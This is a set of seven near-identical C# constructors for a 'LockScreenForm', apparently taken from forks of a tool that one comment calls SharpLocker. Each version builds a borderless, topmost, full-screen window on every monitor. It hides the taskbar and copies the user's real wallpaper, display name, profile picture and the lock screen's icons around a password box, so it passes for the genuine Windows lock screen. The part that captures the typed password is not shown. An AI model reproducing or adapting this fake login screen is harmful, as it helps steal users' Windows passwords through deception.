public LockScreenForm() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = new Bitmap(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Themes\\TranscodedWallpaper")); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.Environment.UserName.ToString(); UserNameLabel.Text = userName; UserNameLabel.BackColor = System.Drawing.Color.Transparent; int percentHeight = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100); int middleWidth = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Width) / 2); int tbsize = 28; int tbwidth = 200; ProfileIcon.Top = percentHeight * 27; ProfileIcon.Left = middleWidth - 100; UserNameLabel.Top = percentHeight * 51; UserNameLabel.Left = middleWidth - 201; SubmitPasswordButton.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); SubmitPasswordButton.Left = middleWidth + (tbwidth / 2) - 11; show.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); show.Left = middleWidth + (tbwidth / 2) - 45; PasswordTextBox.Top = Convert.ToInt32(percentHeight * 59.4); PasswordTextBox.Size = new System.Drawing.Size(tbwidth - 4, Convert.ToInt32(tbsize)); PasswordTextBox.Left = middleWidth - (tbwidth / 2) - 12; textboxBackground.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); textboxBackground.Left = Convert.ToInt32(middleWidth - (tbwidth / 2) - (tbsize * 0.125) - 12); textboxBackground.Size = new System.Drawing.Size(Convert.ToInt32(tbwidth + (tbsize * 0.25)), Convert.ToInt32(tbsize * 1.25)); power.Left = Screen.PrimaryScreen.Bounds.Width - 60; power.Top = Screen.PrimaryScreen.Bounds.Height - 60; accessibility.Left = Screen.PrimaryScreen.Bounds.Width - 110; accessibility.Top = Screen.PrimaryScreen.Bounds.Height - 60; language.Left = Screen.PrimaryScreen.Bounds.Width - 160; language.Top = Screen.PrimaryScreen.Bounds.Height - 60; foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public LockScreenForm() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = new Bitmap(getSpotlightImage()); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.DirectoryServices.AccountManagement.UserPrincipal.Current.DisplayName; UserNameLabel.Text = userName; UserNameLabel.BackColor = System.Drawing.Color.Transparent; int percentHeight = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100); int middleWidth = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Width) / 2); int tbsize = 28; int tbwidth = 200; ProfileIcon.Top = percentHeight * 27; ProfileIcon.Left = middleWidth - 100; UserNameLabel.Top = percentHeight * 51; UserNameLabel.Left = middleWidth - 201; SubmitPasswordButton.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); SubmitPasswordButton.Left = middleWidth + (tbwidth / 2) - 11; show.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); show.Left = middleWidth + (tbwidth / 2) - 45; PasswordTextBox.Top = Convert.ToInt32(percentHeight * 59.4); PasswordTextBox.Size = new System.Drawing.Size(tbwidth - 4, Convert.ToInt32(tbsize)); PasswordTextBox.Left = middleWidth - (tbwidth / 2) - 12; textboxBackground.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); textboxBackground.Left = Convert.ToInt32(middleWidth - (tbwidth / 2) - (tbsize * 0.125) - 12); textboxBackground.Size = new System.Drawing.Size(Convert.ToInt32(tbwidth + (tbsize * 0.25)), Convert.ToInt32(tbsize * 1.25)); power.Left = Screen.PrimaryScreen.Bounds.Width - 60; power.Top = Screen.PrimaryScreen.Bounds.Height - 60; accessibility.Left = Screen.PrimaryScreen.Bounds.Width - 110; accessibility.Top = Screen.PrimaryScreen.Bounds.Height - 60; language.Left = Screen.PrimaryScreen.Bounds.Width - 160; language.Top = Screen.PrimaryScreen.Bounds.Height - 60; foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public LockScreenForm() { InitializeComponent(); Taskbar.Hide(); Console.WriteLine(welcome); FormBorderStyle = FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = new Bitmap(getSpotlightImage()); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; TopMost = true; string userName = Environment.UserName; UserNameLabel.Text = userName; UserNameLabel.BackColor = Color.Transparent; int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; if (!PasswordTextBox.Focus()) { PasswordTextBox.Focus(); } ActiveControl = PasswordTextBox; if (CanFocus) { Focus(); } PasswordTextBox.Top = usernameloch; PasswordTextBox.UseSystemPasswordChar = true; ProfileIcon.Top = usericonh; SubmitPasswordButton.Top = buttonh; UserNameLabel.Top = usernameh; LockedLabel.Top = locked; foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public LockScreenForm() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = new Bitmap(@"C:\Windows\Web\Wallpaper\Windows\img0.jpg"); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.Environment.UserName.ToString(); UserNameLabel.Text = userName; UserNameLabel.BackColor = System.Drawing.Color.Transparent; int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; int bottomname = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 95; int revealer = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; PasswordTextBox.Top = usernameloch; ProfileIcon.Top = usericonh; SubmitPasswordButton.Top = buttonh - 2; UserNameLabel.Top = usernameh; LockedLabel.Top = locked; RevealPasswordButton.Top = buttonh + 7; PasswordTextBox.UseSystemPasswordChar = true;// foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public LockScreenForm() { InitializeComponent(); String userName = (string)UserPrincipal.Current.DisplayName; if (userName == null) { userName = Environment.UserName.ToString(); } String envUserName = Environment.UserName.ToString(); FormBorderStyle = FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); string sid = UserPrincipal.Current.Sid.ToString(); string dir = (string)(@"C:\\ProgramData\\Microsoft\\Windows\\SystemData\\" + sid + "\\ReadOnly\\LockScreen_A\\LockScreen.jpg"); try { Image myimage = new Bitmap(@"C:\\ProgramData\\Microsoft\\Windows\\SystemData\\" + sid + "\\ReadOnly\\LockScreen_A\\LockScreen.jpg"); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; } catch (Exception) { Image myimage = new Bitmap(@"C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg"); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; } Taskbar.Hide(); this.TopMost = true; UserNameLabel.Text = userName; UserNameLabel.BackColor = Color.Transparent; foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public LockScreenForm() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); //Creds to keldnorman //https://github.com/Pickfordmatt/SharpLocker/issues/2 Image myimage = new Bitmap(getSpotlightImage()); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.DirectoryServices.AccountManagement.UserPrincipal.Current.DisplayName; if (userName == null) { userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.Split('\\')[1]; } UserNameLabel.Text = userName; UserNameLabel.BackColor = System.Drawing.Color.Transparent; int percentHeight = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100); int middleWidth = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Width) / 2); int tbsize = 28; int tbwidth = 200; ProfileIcon.Top = percentHeight * 27; ProfileIcon.Left = middleWidth - 100; UserNameLabel.Top = percentHeight * 51; UserNameLabel.Left = middleWidth - 201; SubmitPasswordButton.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); SubmitPasswordButton.Left = middleWidth + (tbwidth / 2) - 11; show.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); show.Left = middleWidth + (tbwidth / 2) - 45; PasswordTextBox.Top = Convert.ToInt32(percentHeight * 59.4); PasswordTextBox.Size = new System.Drawing.Size(tbwidth - 4, Convert.ToInt32(tbsize)); PasswordTextBox.Left = middleWidth - (tbwidth / 2) - 12; textboxBackground.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); textboxBackground.Left = Convert.ToInt32(middleWidth - (tbwidth / 2) - (tbsize * 0.125) - 12); textboxBackground.Size = new System.Drawing.Size(Convert.ToInt32(tbwidth + (tbsize * 0.25)), Convert.ToInt32(tbsize * 1.25)); power.Left = Screen.PrimaryScreen.Bounds.Width - 60; power.Top = Screen.PrimaryScreen.Bounds.Height - 60; accessibility.Left = Screen.PrimaryScreen.Bounds.Width - 110; accessibility.Top = Screen.PrimaryScreen.Bounds.Height - 60; language.Left = Screen.PrimaryScreen.Bounds.Width - 160; language.Top = Screen.PrimaryScreen.Bounds.Height - 60; if (!PasswordTextBox.Focus()) { PasswordTextBox.Focus(); } ActiveControl = PasswordTextBox; if (CanFocus) { Focus(); } //Get the username. This returns Domain\Username string userNameText = System.Security.Principal.WindowsIdentity.GetCurrent().Name; //https://stackoverflow.com/questions/7731855/rounded-edges-in-picturebox-c-sharp System.Drawing.Drawing2D.GraphicsPath gp = new System.Drawing.Drawing2D.GraphicsPath(); gp.AddEllipse(0, 0, ProfileIcon.Width - 3, ProfileIcon.Height - 3); Region rg = new Region(gp); ProfileIcon.Region = rg; ProfileIcon.Image = Image.FromFile(GetUserTilePath(userNameText.Split('\\')[1])); foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public LockScreenForm() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = User.GetLockScreenImage(); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.Environment.UserName.ToString(); UserNameLabel.Text = userName; UserNameLabel.BackColor = System.Drawing.Color.Transparent; int percentHeight = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100); int middleWidth = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Width) / 2); int tbsize = 28; int tbwidth = 200; // Profile Icon ProfileIcon = new CustomPictureBox() { InterpolationMode = InterpolationMode.HighQualityBilinear, SmoothingMode = SmoothingMode.AntiAlias, Top = percentHeight * 17, Left = middleWidth - 100, Image = User.GetProfileImage(), }; using (var gp = new GraphicsPath()) { gp.AddEllipse(new Rectangle(0, 0, ProfileIcon.Width - 1, ProfileIcon.Height - 1)); ProfileIcon.Region = new Region(gp); } // Username UserNameLabel.Top = percentHeight * 51; UserNameLabel.Left = middleWidth - 201; SubmitPasswordButton.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); SubmitPasswordButton.Left = middleWidth + (tbwidth / 2) - 11; show.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); show.Left = middleWidth + (tbwidth / 2) - 45; PasswordTextBox.Top = Convert.ToInt32(percentHeight * 59.4); PasswordTextBox.Size = new System.Drawing.Size(tbwidth - 4, Convert.ToInt32(tbsize)); PasswordTextBox.Left = middleWidth - (tbwidth / 2) - 12; textboxBackground.Top = Convert.ToInt32(percentHeight * 59 - (tbsize * 0.125)); textboxBackground.Left = Convert.ToInt32(middleWidth - (tbwidth / 2) - (tbsize * 0.125) - 12); textboxBackground.Size = new System.Drawing.Size(Convert.ToInt32(tbwidth + (tbsize * 0.25)), Convert.ToInt32(tbsize * 1.25)); power.Left = Screen.PrimaryScreen.Bounds.Width - 60; power.Top = Screen.PrimaryScreen.Bounds.Height - 60; accessibility.Left = Screen.PrimaryScreen.Bounds.Width - 110; accessibility.Top = Screen.PrimaryScreen.Bounds.Height - 60; foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }